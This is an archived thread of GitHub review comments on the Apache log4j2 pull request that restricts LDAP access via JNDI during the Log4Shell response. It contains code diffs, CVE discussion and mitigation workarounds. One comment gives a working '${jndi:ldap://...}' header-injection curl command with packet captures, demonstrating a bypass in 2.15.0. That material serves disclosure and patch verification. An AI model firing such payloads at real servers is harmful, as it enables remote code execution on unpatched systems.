+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.lookup;
+
+import javax.naming.Context;
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.naming.StringRefAddr;
+
+import org.apache.logging.log4j.Level;
+import org.apache.logging.log4j.message.SimpleMessage;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.zapodot.junit.ldap.EmbeddedLdapRule;
+import org.zapodot.junit.ldap.EmbeddedLdapRuleBuilder;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+/**
+ * JndiLookupTest
+ */
+public class JndiLdapLookupTest {
Review comment:
@rgoers, I cannot see the test where the exploit indeed works when the prevention mechanism is not in place. Am I missing something?
##########
File path: log4j-core/src/test/java/org/apache/logging/log4j/core/lookup/JndiLdapLookupTest.java
##########
@@ -0,0 +1,124 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.lookup;
+
+import javax.naming.Context;
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.naming.StringRefAddr;
+
+import org.apache.logging.log4j.Level;
+import org.apache.logging.log4j.message.SimpleMessage;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.zapodot.junit.ldap.EmbeddedLdapRule;
+import org.zapodot.junit.ldap.EmbeddedLdapRuleBuilder;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+/**
+ * JndiLookupTest
Review comment:
```suggestion
* LDAP-specialized tests for {@link JndiLookup}.
```
##########
File path: log4j-core/src/test/resources/java-import.ldif
##########
@@ -0,0 +1,4 @@
+dn: dc=apache,dc=org
Review comment:
Shall we rename this to `JndiLdapLookupTest.ldif` instead to make the association more clear?
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -17,31 +17,76 @@
package org.apache.logging.log4j.core.net;
+import java.io.Serializable;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
import javax.naming.Context;
-import javax.naming.InitialContext;
+import javax.naming.NameClassPair;
+import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
+import javax.naming.Referenceable;
+import javax.naming.directory.Attribute;
+import javax.naming.directory.Attributes;
+import javax.naming.directory.DirContext;
+import javax.naming.directory.InitialDirContext;
import org.apache.logging.log4j.core.appender.AbstractManager;
import org.apache.logging.log4j.core.appender.ManagerFactory;
import org.apache.logging.log4j.core.util.JndiCloser;
+import org.apache.logging.log4j.core.util.NetUtils;
+import org.apache.logging.log4j.util.PropertiesUtil;
/**
- * Manages a JNDI {@link javax.naming.Context}.
+ * Manages a JNDI {@link javax.naming.directory.DirContext}.
*
* @since 2.1
*/
public class JndiManager extends AbstractManager {
+ public static final String ALLOWED_HOSTS = "allowedLdapHosts";
+ public static final String ALLOWED_CLASSES = "allowedLdapClasses";
+
private static final JndiManagerFactory FACTORY = new JndiManagerFactory();
+ private static final String PREFIX = "log4j2.";
+ private static final List<String> permanentAllowedHosts = new ArrayList<>();
+ private static final List<String> permanentAllowedClasses = new ArrayList<>();
+ private static final String LDAP = "ldap";
+ private static final String SERIALIZED_DATA = "javaserializeddata";
+ private static final String CLASS_NAME = "javaclassname";
+ private static final String REFERENCE_ADDRESS = "javareferenceaddress";
+ private static final String OBJECT_FACTORY = "javafactory";
+ private final List<String> allowedHosts;
+ private final List<String> allowedClasses;
+
+ static {
+ permanentAllowedHosts.addAll(NetUtils.getLocalIps());
+ permanentAllowedClasses.add(Boolean.class.getName());
+ permanentAllowedClasses.add(Byte.class.getName());
+ permanentAllowedClasses.add(Character.class.getName());
+ permanentAllowedClasses.add(Double.class.getName());
+ permanentAllowedClasses.add(Float.class.getName());
+ permanentAllowedClasses.add(Integer.class.getName());
+ permanentAllowedClasses.add(Long.class.getName());
+ permanentAllowedClasses.add(Number.class.getName());
Review comment:
The rest of the classes are `final`, though `Number` isn't. I would keep `Number` out of this list.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgoers commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgoers commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759849948
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -17,31 +17,76 @@
package org.apache.logging.log4j.core.net;
+import java.io.Serializable;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
import javax.naming.Context;
-import javax.naming.InitialContext;
+import javax.naming.NameClassPair;
+import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
+import javax.naming.Referenceable;
+import javax.naming.directory.Attribute;
+import javax.naming.directory.Attributes;
+import javax.naming.directory.DirContext;
+import javax.naming.directory.InitialDirContext;
import org.apache.logging.log4j.core.appender.AbstractManager;
import org.apache.logging.log4j.core.appender.ManagerFactory;
import org.apache.logging.log4j.core.util.JndiCloser;
+import org.apache.logging.log4j.core.util.NetUtils;
+import org.apache.logging.log4j.util.PropertiesUtil;
/**
- * Manages a JNDI {@link javax.naming.Context}.
+ * Manages a JNDI {@link javax.naming.directory.DirContext}.
*
* @since 2.1
*/
public class JndiManager extends AbstractManager {
+ public static final String ALLOWED_HOSTS = "allowedLdapHosts";
+ public static final String ALLOWED_CLASSES = "allowedLdapClasses";
+
private static final JndiManagerFactory FACTORY = new JndiManagerFactory();
+ private static final String PREFIX = "log4j2.";
+ private static final List<String> permanentAllowedHosts = new ArrayList<>();
+ private static final List<String> permanentAllowedClasses = new ArrayList<>();
+ private static final String LDAP = "ldap";
+ private static final String SERIALIZED_DATA = "javaserializeddata";
+ private static final String CLASS_NAME = "javaclassname";
+ private static final String REFERENCE_ADDRESS = "javareferenceaddress";
+ private static final String OBJECT_FACTORY = "javafactory";
+ private final List<String> allowedHosts;
+ private final List<String> allowedClasses;
+
+ static {
+ permanentAllowedHosts.addAll(NetUtils.getLocalIps());
+ permanentAllowedClasses.add(Boolean.class.getName());
+ permanentAllowedClasses.add(Byte.class.getName());
+ permanentAllowedClasses.add(Character.class.getName());
+ permanentAllowedClasses.add(Double.class.getName());
+ permanentAllowedClasses.add(Float.class.getName());
+ permanentAllowedClasses.add(Integer.class.getName());
+ permanentAllowedClasses.add(Long.class.getName());
+ permanentAllowedClasses.add(Number.class.getName());
+ permanentAllowedClasses.add(Short.class.getName());
+ permanentAllowedClasses.add(String.class.getName());
Review comment:
Those aren't objects so cannot be stored in LDAP.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993170115
> > The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
>
> It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.
@iamamoose
Can someone from ASF (who is involved with Log4j/Log4j 2, maybe whoever wrote the text for the CVE) confirm that an effective mitigation for CVE-2021-4104 is to remove JMSAppender from log4j-1.2.x.jar? Would it be possible to include that in the CVE description? This would be similar to the strategy identified for CVE-2021-44228 as well as the informal strategy used for CVE-2019-17571. It's clear based on all of the discussion that many are interested in how to deal with this in Log4j 1.x, so it would be great if there was a clear mitigation defined. If not in the CVE description, perhaps in a JIRA entry or a mailing list message?
Is there a better place for me to request/propose this?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgmz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgmz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993167440
@tony-- there is a POC in the Snyk advisory posted by @Kirill89 somewhere above.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] kmindi edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
kmindi edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993542299
thx @SpComb for confirming what I found.
I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
I just found (and this is also part of what I reported already yesterday 22:02 CET until waiting 12h before publishing code/comments, to the email adress for security of the logging lib private@logging.apache.org) "Variable replacement works in a recursive way." https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html
Especially concerning is what you wrote regarding 2.15.0 ...
> > Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
> > Can someone confirm this?
>
> Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
>
> The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
> This requires a [pattern configured to use `${ctx:...}` lookups](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/resources/log4j2.properties#L15-L16) with [attacker-controlled `ThreadContext` values](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java#L20-L22), which seem to get expanded recursively.
>
> The 2.15.x JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the 2.10.x `-Dlog4j2.formatMsgNoLookups=true` / 2.15.x https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993469509
> Following up on my question if this fixes usage with other property substitutions like ctx: [#608 (comment)](https://github.com/apache/logging-log4j2/pull/608#issuecomment-992427010)
>
> Apparently I could confirm my assumption regarding the usage of Thread Context Map, I created a PR here ([lunasec-io/lunasec#298](https://github.com/lunasec-io/lunasec/pull/298)) and made changes to the demonstration app to demonstrate the vulnerability even with `formatMsgNoLookups=true` set shown here: https://github.com/kmindi/log4shell-vulnerable-app.
>
> Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
>
> Can someone confirm this?
Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
```
41 17.676741911 172.17.0.1 -> 172.17.0.2 HTTP 209 GET / HTTP/1.1
42 17.676769664 172.17.0.2 -> 172.17.0.1 TCP 66 8080 > 56934 [ACK] Seq=1 Ack=144 Win=30080 Len=0 TSval=346936700 TSecr=2382643118
43 17.680613689 172.17.0.2 -> 10.52.0.2 DNS 79 Standard query 0xffa9 A example.net
44 17.680814368 10.52.0.2 -> 172.17.0.2 DNS 79 Standard query response 0xffa9 No such name
45 17.687397342 172.17.0.2 -> 172.17.0.1 HTTP 193 HTTP/1.1 200 (text/plain)
```
The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
```
$ docker exec -it log4shell-vulnerable-app jar -tvf /app/spring-boot-application.jar | grep log4j
828 Tue Dec 14 11:55:34 GMT 2021 BOOT-INF/classes/log4j2.properties
24231 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-slf4j-impl-2.15.0.jar
1789769 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-core-2.15.0.jar
30947 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-jul-2.15.0.jar
301804 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-api-2.15.0.jar
```
```
$ curl -v "$(docker inspect -f '{{.NetworkSettings.IPAddress}}' log4shell-vulnerable-app):8080/" -H 'X-Api-Version: ${jndi:ldap://localhost/test}'
* Trying 172.17.0.2:8080...
* Connected to 172.17.0.2 (172.17.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: 172.17.0.2:8080
> User-Agent: curl/7.76.1
> Accept: */*
> X-Api-Version: ${jndi:ldap://localhost/test}
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Tue, 14 Dec 2021 11:57:10 GMT
<
* Connection #0 to host 172.17.0.2 left intact
Hello, world![
```
```
$ sudo nsenter -t "$(docker inspect -f '{{.State.Pid}}' log4shell-vulnerable-app)" -n tshark -i lo -n
Running as user "root" and group "root". This could be dangerous.
Capturing on 'Loopback'
1 0.000000000 127.0.0.1 -> 127.0.0.1 TCP 74 38380 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426441 TSecr=0 WS=128
2 0.000013194 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38380 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
3 0.023625945 127.0.0.1 -> 127.0.0.1 TCP 74 38382 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426464 TSecr=0 WS=128
4 0.023636425 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38382 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
5 0.027652034 127.0.0.1 -> 127.0.0.1 TCP 74 38384 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426468 TSecr=0 WS=128
6 0.027662963 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38384 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
7 0.042974136 127.0.0.1 -> 127.0.0.1 TCP 74 38386 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426484 TSecr=0 WS=128
8 0.042985398 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38386 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
```
This requires a pattern configured to use `${ctx:...}` lookups with attacker-controlled `ThreadContext` values, which seem to get expanded recursively: https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/resources/log4j2.properties#L15-L16
The JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] zhangyoufu edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
zhangyoufu edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306
You can't ask everybody to upgrade to 2.15 at once. And the `formatMsgNoLookups` option is available to log4j ≥ 2.10 only.
Thanks to [LOG4J2-703](https://github.com/apache/logging-log4j2/commit/3203d3eab6bdd12fdad7ded1860db16a89468c3f), I think it's quite safe to remove `org/apache/logging/log4j/core/lookup/JndiLookup.class` from `log4j-core-*.jar` as a workaround. Just `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` to disable `${jndi:...}` functionality completely.
I posted all log4j-core jar with `JndiLookup.class` removed at https://github.com/zhangyoufu/log4j2-without-jndi for reference. Simple local test looks promising.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mrdgsmith edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mrdgsmith edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995025131
> @remkop Thank you for your reply I sent a vulnerability report to [private@logging.apache.org](mailto:private@logging.apache.org) on December 10 and received a reply and thanks from **Ralgh Goers** five hours later. **[CVE-2021-45046](https://github.com/advisories/GHSA-7rjr-3q55-vv33)** seems to have been proposed two days ago. It seems that I am ahead. I just hope my name: 4ra1n can join credit of `CVE-2021-45046` on the page `https://logging.apache.org/log4j/2.x/security.htm` I hope you can remember to add my name after your current work. I will be very grateful
@EmYiQing The bug was originally disclosed to Apache on November 24th by Chen Zhaojun of Alibaba Cloud Security Team - https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/
https://logging.apache.org/log4j/2.x/security.html
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995268775
@mrdgsmith Here I discuss the denial of Service Vulnerability **CVE-2021-45046** rather than the JNDI injection Vulnerability **CVE-2021-44228**
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990213446
Your patience will soon be rewarded...
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] zhangyoufu edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
zhangyoufu edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306
You can't ask everybody to upgrade to 2.15 at once. And the `formatMsgNoLookups` option is available to log4j ≥ 2.10 only.
Thanks to [LOG4J2-703](https://github.com/apache/logging-log4j2/commit/3203d3eab6bdd12fdad7ded1860db16a89468c3f), I think it's quite safe to remove `org/apache/logging/log4j/core/lookup/JndiLookup.class` from `log4j-core-*.jar` as a workaround. Just `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` to disable `${jndi:...}` functionality completely.
I posted all log4j2-core jar with `JndiLookup.class` removed at https://github.com/zhangyoufu/log4j2-without-jndi for reference. Local test looks promising for me.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] zhangyoufu commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
zhangyoufu commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306
You can't ask everybody to upgrade to 2.15 at once. The `formatMsgNoLookups` option is available to log4j ≥ 2.10 only.
Thanks to LOG4J2-703, I think it's quite safe to remove `org/apache/logging/log4j/core/lookup/JndiLookup.class` from `log4j-core-*.jar` as a workaround. Just `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` to disable `${jndi:...}` functionality completely.
I posted all log4j2-core jar with `JndiLookup.class` removed at https://github.com/zhangyoufu/log4j2-without-jndi for reference. Local test looks promising for me.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] utam0k edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
utam0k edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990716441
@remkop Hi! Thanks for your work and the community correspondence.
Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TopStreamsNet edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TopStreamsNet edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301
@ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki removed a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki removed a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991796194
> > When there are literally millions of log4j 1.x users out there, can you stop toying around?
> > There is no lookup expansion in log4j 1.x and it does not suffer from [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q). How hard is it to admit?
>
> Hi @ceki, thank you for clarifying that Log4j 1.x is not impacted by this vulnerability. I updated my previous comments by linking to [your analysis on Twitter](https://twitter.com/ceki/status/1469449618316533762), happy to link to other sources as well.
There are actually two vulnerabilities. The one outlined here and CVE-2021-44228. Log4j 1.x is not vulnerable to CVE-2021-44228. However, it is vulnerable to lesser JNDI injection exploits, that is to an attacker already having write access to its config file.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] moparthisai commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
moparthisai commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991907877
We are using apache solr 8.6 version and we wan to update the version of log4j2 on your runtime classpath ( Due to Apache Solr affected by Apache Log4J CVE-2021-44228) .
Can you guide me how to do update the log4j2 version in Solr 8.6?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] qqchaozai commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
qqchaozai commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991724441
We build class like this：
------------------------------------
package org.apache.logging.log4j.core.lookup;
public class JndiLookup {}
------------------------------------
Then package as log4j-patch.jar.
We put log4j-patch.jar into {your jre path}/lib/ext/ , then we are not worried that this loophole will be introduced again in the future.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991730650
Thank you for the detailed references.
**If the attacker can modify the config file on some system S, then S can be assumed to be already penetrated to a large extent.**
If the attacker can modify log4j.properties (log4j 1.x), she she does not need to download malicious code, she can just as easily place malicious class files in the classpath and have them executed.
So, in a very strict sense there is a vulnerability in log4j 1.x but nothing close to log parameter induced RCE.
> @ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
>
> If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] svdHero commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
svdHero commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992469422
@remkop Thank you so much for all your help!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] WesternGun commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
WesternGun commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992625115
Reading the documentations of Apache Log4J 1.x https://logging.apache.org/log4j/2.x/manual/appenders.html#JMSAppender, I see a parameter configuring the protocol to use in the JMS appender.
>
| Parameter Name | Type | Default | Description |
| -- | -- | -- | -- |
| allowdLdapClasses | String | null | A comma separated list of fully qualified class names that may be accessed by LDAP. The classes must implement Serializable. Only applies when the JMS Appender By default only Java primative classes are allowed.
| allowdLdapHosts | String | null | A comma separated list of host names or ip addresses that may be accessed by LDAP. By default only the local host names and ip addresses are allowed.
| allowdJndiProtocols | String | null | A comma separated list of protocol names that JNDI will allow. By default only java, ldap, and ldaps are the only allowed protocols.
Do you think changing these params and make sure ldap is not used, can guard us from this vulnerability of Log4j 1.x? Of course we need to upgrade, but as a workaround now...
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] sellexx-stephan commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sellexx-stephan commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992997550
Thanks @zhangyoufu for your great workaround!
Thanks @remkop and all others here for caring!
about the hint given by zhangyoufu: "Just zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class to disable ${jndi:...} functionality completely." in https://github.com/apache/logging-log4j2/pull/608#issuecomment-990305306
